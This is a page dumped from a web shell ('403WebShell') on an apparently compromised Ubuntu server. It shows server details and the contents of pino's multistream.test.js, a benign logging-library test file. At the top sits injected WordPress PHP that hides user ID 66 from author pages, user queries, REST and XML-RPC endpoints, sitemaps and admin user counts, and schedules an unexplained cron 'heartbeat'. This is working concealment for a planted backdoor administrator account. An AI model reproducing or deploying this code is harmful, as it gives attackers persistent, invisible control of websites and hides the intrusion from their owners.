403WebShell

add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF
Directory : /var/www/html/openskillpaths/node_modules/pino/test/

Upload File :

[ Back ]

Current File : /var/www/html/openskillpaths/node_modules/pino/test//multistream.test.js

'use strict'

const test = require('node:test')
const assert = require('node:assert')
const { readFileSync } = require('node:fs')
const { join } = require('node:path')
const proxyquire = require('proxyquire')
const strip = require('strip-ansi')
const tspl = require('@matteo.collina/tspl')

const writeStream = require('flush-write-stream')
const pino = require('../')
const multistream = pino.multistream
const { file, sink } = require('./helper')

test('sends to multiple streams using string levels', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const streams = [
    { stream },
    { level: 'debug', stream },
    { level: 'trace', stream },
    { level: 'fatal', stream },
    { level: 'silent', stream }
  ]
  const log = pino({
    level: 'trace'
  }, multistream(streams))
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 9)
})

test('sends to multiple streams using custom levels', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const streams = [
    { stream },
    { level: 'debug', stream },
    { level: 'trace', stream },
    { level: 'fatal', stream },
    { level: 'silent', stream }
  ]
  const log = pino({
    level: 'trace'
  }, multistream(streams))
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 9)
})

test('sends to multiple streams using optionally predefined levels', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const opts = {
    levels: {
      silent: Infinity,
      fatal: 60,
      error: 50,
      warn: 50,
      info: 30,
      debug: 20,
      trace: 10
    }
  }
  const streams = [
    { stream },
    { level: 'trace', stream },
    { level: 'debug', stream },
    { level: 'info', stream },
    { level: 'warn', stream },
    { level: 'error', stream },
    { level: 'fatal', stream },
    { level: 'silent', stream }
  ]
  const mstream = multistream(streams, opts)
  const log = pino({
    level: 'trace'
  }, mstream)
  log.trace('trace stream')
  log.debug('debug stream')
  log.info('info stream')
  log.warn('warn stream')
  log.error('error stream')
  log.fatal('fatal stream')
  log.silent('silent stream')
  assert.equal(messageCount, 24)
})

test('sends to multiple streams using number levels', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const streams = [
    { stream },
    { level: 20, stream },
    { level: 60, stream }
  ]
  const log = pino({
    level: 'debug'
  }, multistream(streams))
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 6)
})

test('level include higher levels', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const log = pino({}, multistream([{ level: 'info', stream }]))
  log.fatal('message')
  assert.equal(messageCount, 1)
})

test('supports multiple arguments', async (t) => {
  const plan = tspl(t, { plan: 2 })
  const messages = []
  const stream = writeStream(function (data, enc, cb) {
    messages.push(JSON.parse(data))
    if (messages.length === 2) {
      const msg1 = messages[0]
      plan.equal(msg1.msg, 'foo bar baz foobar')

      const msg2 = messages[1]
      plan.equal(msg2.msg, 'foo bar baz foobar barfoo foofoo')
    }
    cb()
  })
  const log = pino({}, multistream({ stream }))
  log.info('%s %s %s %s', 'foo', 'bar', 'baz', 'foobar') // apply not invoked
  log.info('%s %s %s %s %s %s', 'foo', 'bar', 'baz', 'foobar', 'barfoo', 'foofoo') // apply invoked

  await plan
})

test('supports children', async (t) => {
  const plan = tspl(t, { plan: 2 })
  const stream = writeStream(function (data, enc, cb) {
    const input = JSON.parse(data)
    plan.equal(input.msg, 'child stream')
    plan.equal(input.child, 'one')
    cb()
  })
  const streams = [
    { stream }
  ]
  const log = pino({}, multistream(streams)).child({ child: 'one' })
  log.info('child stream')

  await plan
})

test('supports grandchildren', async (t) => {
  const plan = tspl(t, { plan: 9 })
  const messages = []
  const stream = writeStream(function (data, enc, cb) {
    messages.push(JSON.parse(data))
    if (messages.length === 3) {
      const msg1 = messages[0]
      plan.equal(msg1.msg, 'grandchild stream')
      plan.equal(msg1.child, 'one')
      plan.equal(msg1.grandchild, 'two')

      const msg2 = messages[1]
      plan.equal(msg2.msg, 'grandchild stream')
      plan.equal(msg2.child, 'one')
      plan.equal(msg2.grandchild, 'two')

      const msg3 = messages[2]
      plan.equal(msg3.msg, 'debug grandchild')
      plan.equal(msg3.child, 'one')
      plan.equal(msg3.grandchild, 'two')
    }
    cb()
  })
  const streams = [
    { stream },
    { level: 'debug', stream }
  ]
  const log = pino({
    level: 'debug'
  }, multistream(streams)).child({ child: 'one' }).child({ grandchild: 'two' })
  log.info('grandchild stream')
  log.debug('debug grandchild')

  await plan
})

test('supports custom levels', (t, end) => {
  const stream = writeStream(function (data, enc, cb) {
    assert.equal(JSON.parse(data).msg, 'bar')
    end()
  })
  const log = pino({
    customLevels: {
      foo: 35
    }
  }, multistream([{ level: 35, stream }]))
  log.foo('bar')
})

test('supports pretty print', async (t) => {
  const plan = tspl(t, { plan: 2 })
  const stream = writeStream(function (data, enc, cb) {
    plan.equal(strip(data.toString()).match(/INFO.*: pretty print/) != null, true)
    cb()
  })

  const safeBoom = proxyquire('pino-pretty/lib/utils/build-safe-sonic-boom.js', {
    'sonic-boom': function () {
      plan.ok('sonic created')
      stream.flushSync = () => {}
      stream.flush = () => {}
      return stream
    }
  })
  const nested = proxyquire('pino-pretty/lib/utils/index.js', {
    './build-safe-sonic-boom.js': safeBoom
  })
  const pretty = proxyquire('pino-pretty', {
    './lib/utils/index.js': nested
  })

  const log = pino({
    level: 'debug',
    name: 'helloName'
  }, multistream([
    { stream: pretty() }
  ]))

  log.info('pretty print')

  await plan
})

test('emit propagates events to each stream', async (t) => {
  const plan = tspl(t, { plan: 3 })
  const handler = function (data) {
    plan.equal(data.msg, 'world')
  }
  const streams = [sink(), sink(), sink()]
  streams.forEach(function (s) {
    s.once('hello', handler)
  })
  const stream = multistream(streams)
  stream.emit('hello', { msg: 'world' })

  await plan
})

test('children support custom levels', async (t) => {
  const plan = tspl(t, { plan: 1 })
  const stream = writeStream(function (data, enc, cb) {
    plan.equal(JSON.parse(data).msg, 'bar')
  })
  const parent = pino({
    customLevels: {
      foo: 35
    }
  }, multistream([{ level: 35, stream }]))
  const child = parent.child({ child: 'yes' })
  child.foo('bar')

  await plan
})

test('levelVal overrides level', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const streams = [
    { stream },
    { level: 'blabla', levelVal: 15, stream },
    { level: 60, stream }
  ]
  const log = pino({
    level: 'debug'
  }, multistream(streams))
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 6)
})

test('forwards metadata', async (t) => {
  const plan = tspl(t, { plan: 4 })
  const streams = [
    {
      stream: {
        [Symbol.for('pino.metadata')]: true,
        write (chunk) {
          plan.equal(log, this.lastLogger)
          plan.equal(30, this.lastLevel)
          plan.deepEqual({ hello: 'world' }, this.lastObj)
          plan.deepEqual('a msg', this.lastMsg)
        }
      }
    }
  ]

  const log = pino({
    level: 'debug'
  }, multistream(streams))

  log.info({ hello: 'world' }, 'a msg')

  await plan
})

test('forward name', async (t) => {
  const plan = tspl(t, { plan: 2 })
  const streams = [
    {
      stream: {
        [Symbol.for('pino.metadata')]: true,
        write (chunk) {
          const line = JSON.parse(chunk)
          plan.equal(line.name, 'helloName')
          plan.equal(line.hello, 'world')
        }
      }
    }
  ]

  const log = pino({
    level: 'debug',
    name: 'helloName'
  }, multistream(streams))

  log.info({ hello: 'world' }, 'a msg')

  await plan
})

test('forward name with child', async (t) => {
  const plan = tspl(t, { plan: 3 })
  const streams = [
    {
      stream: {
        write (chunk) {
          const line = JSON.parse(chunk)
          plan.equal(line.name, 'helloName')
          plan.equal(line.hello, 'world')
          plan.equal(line.component, 'aComponent')
        }
      }
    }
  ]

  const log = pino({
    level: 'debug',
    name: 'helloName'
  }, multistream(streams)).child({ component: 'aComponent' })

  log.info({ hello: 'world' }, 'a msg')

  await plan
})

test('clone generates a new multistream with all stream at the same level', async (t) => {
  const plan = tspl(t, { plan: 14 })
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const streams = [
    { stream },
    { level: 'debug', stream },
    { level: 'trace', stream },
    { level: 'fatal', stream }
  ]
  const ms = multistream(streams)
  const clone = ms.clone(30)

  // eslint-disable-next-line eqeqeq
  plan.equal(clone != ms, true)

  clone.streams.forEach((s, i) => {
    // eslint-disable-next-line eqeqeq
    plan.equal(s != streams[i], true)
    plan.equal(s.stream, streams[i].stream)
    plan.equal(s.level, 30)
  })

  const log = pino({
    level: 'trace'
  }, clone)

  log.info('info stream')
  log.debug('debug message not counted')
  log.fatal('fatal stream')
  plan.equal(messageCount, 8)

  await plan
})

test('one stream', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const log = pino({
    level: 'trace'
  }, multistream({ stream, level: 'fatal' }))
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 1)
})

test('dedupe', async () => {
  let messageCount = 0
  const stream1 = writeStream(function (data, enc, cb) {
    messageCount -= 1
    cb()
  })

  const stream2 = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })

  const streams = [
    {
      stream: stream1,
      level: 'info'
    },
    {
      stream: stream2,
      level: 'fatal'
    }
  ]

  const log = pino({
    level: 'trace'
  }, multistream(streams, { dedupe: true }))
  log.info('info stream')
  log.fatal('fatal stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 1)
})

test('dedupe when logs have different levels', async () => {
  let messageCount = 0
  const stream1 = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })

  const stream2 = writeStream(function (data, enc, cb) {
    messageCount += 2
    cb()
  })

  const streams = [
    {
      stream: stream1,
      level: 'info'
    },
    {
      stream: stream2,
      level: 'error'
    }
  ]

  const log = pino({
    level: 'trace'
  }, multistream(streams, { dedupe: true }))

  log.info('info stream')
  log.warn('warn stream')
  log.error('error streams')
  log.fatal('fatal streams')
  assert.equal(messageCount, 6)
})

test('dedupe when some streams has the same level', async () => {
  let messageCount = 0
  const stream1 = writeStream(function (data, enc, cb) {
    messageCount -= 1
    cb()
  })

  const stream2 = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })

  const stream3 = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })

  const streams = [
    {
      stream: stream1,
      level: 'info'
    },
    {
      stream: stream2,
      level: 'fatal'
    },
    {
      stream: stream3,
      level: 'fatal'
    }
  ]

  const log = pino({
    level: 'trace'
  }, multistream(streams, { dedupe: true }))
  log.info('info stream')
  log.fatal('fatal streams')
  log.fatal('fatal streams')
  assert.equal(messageCount, 3)
})

test('no stream', async () => {
  const log = pino({
    level: 'trace'
  }, multistream())
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
})

test('one stream', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const log = pino({
    level: 'trace'
  }, multistream(stream))
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 2)
})

test('add a stream', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })

  const log = pino({
    level: 'trace'
  }, multistream().add(stream))
  log.info('info stream')
  log.debug('debug stream')
  log.fatal('fatal stream')
  assert.equal(messageCount, 2)
})

test('remove a stream', async () => {
  let messageCount1 = 0
  let messageCount2 = 0
  let messageCount3 = 0

  const stream1 = writeStream(function (data, enc, cb) {
    messageCount1 += 1
    cb()
  })

  const stream2 = writeStream(function (data, enc, cb) {
    messageCount2 += 1
    cb()
  })

  const stream3 = writeStream(function (data, enc, cb) {
    messageCount3 += 1
    cb()
  })

  const multi = multistream()
  const log = pino({ level: 'trace', sync: true }, multi)

  multi.add(stream1)
  const id1 = multi.lastId

  multi.add(stream2)
  const id2 = multi.lastId

  multi.add(stream3)
  const id3 = multi.lastId

  log.info('line')
  multi.remove(id1)

  log.info('line')
  multi.remove(id2)

  log.info('line')
  multi.remove(id3)

  log.info('line')
  multi.remove(Math.floor(Math.random() * 1000)) // non-existing id

  assert.equal(messageCount1, 1)
  assert.equal(messageCount2, 2)
  assert.equal(messageCount3, 3)
})

test('multistream.add throws if not a stream', async () => {
  try {
    pino({
      level: 'trace'
    }, multistream().add({}))
  } catch (_) {
  }
})

test('multistream throws if not a stream', async () => {
  try {
    pino({
      level: 'trace'
    }, multistream({}))
  } catch (_) {
  }
})

test('multistream.write should not throw if one stream fails', async () => {
  let messageCount = 0
  const stream = writeStream(function (data, enc, cb) {
    messageCount += 1
    cb()
  })
  const noopStream = pino.transport({
    target: join(__dirname, 'fixtures', 'noop-transport.js')
  })
  // eslint-disable-next-line
  noopStream.on('error', function (err) {
    // something went wrong while writing to noop stream, ignoring!
  })
  const log = pino({
    level: 'trace'
  },
  multistream([
    {
      level: 'trace',
      stream
    },
    {
      level: 'debug',
      stream: noopStream
    }
  ])
  )
  log.debug('0')
  noopStream.end()
  // noop stream is ending, should emit an error but not throw
  log.debug('1')
  log.debug('2')
  assert.equal(messageCount, 3)
})

test('flushSync', async (t) => {
  const plan = tspl(t, { plan: 2 })
  const tmp = file()
  const destination = pino.destination({ dest: tmp, sync: false, minLength: 4096 })
  const stream = multistream([{ level: 'info', stream: destination }])
  const log = pino({ level: 'info' }, stream)
  destination.on('ready', () => {
    log.info('foo')
    log.info('bar')
    stream.flushSync()
    plan.equal(readFileSync(tmp, { encoding: 'utf-8' }).split('\n').length - 1, 2)
    log.info('biz')
    stream.flushSync()
    plan.equal(readFileSync(tmp, { encoding: 'utf-8' }).split('\n').length - 1, 3)
  })

  await plan
})

test('ends all streams', async (t) => {
  const plan = tspl(t, { plan: 7 })
  const stream = writeStream(function (data, enc, cb) {
    plan.ok('message')
    cb()
  })
  stream.flushSync = function () {
    plan.ok('flushSync')
  }
  // stream2 has no flushSync
  const stream2 = writeStream(function (data, enc, cb) {
    plan.ok('message2')
    cb()
  })
  const streams = [
    { stream },
    { level: 'debug', stream },
    { level: 'trace', stream: stream2 },
    { level: 'fatal', stream },
    { level: 'silent', stream }
  ]
  const multi = multistream(streams)
  const log = pino({
    level: 'trace'
  }, multi)
  log.info('info stream')
  multi.end()

  await plan
})

Youez - 2016 - github.com/yon3zu
LinuXploit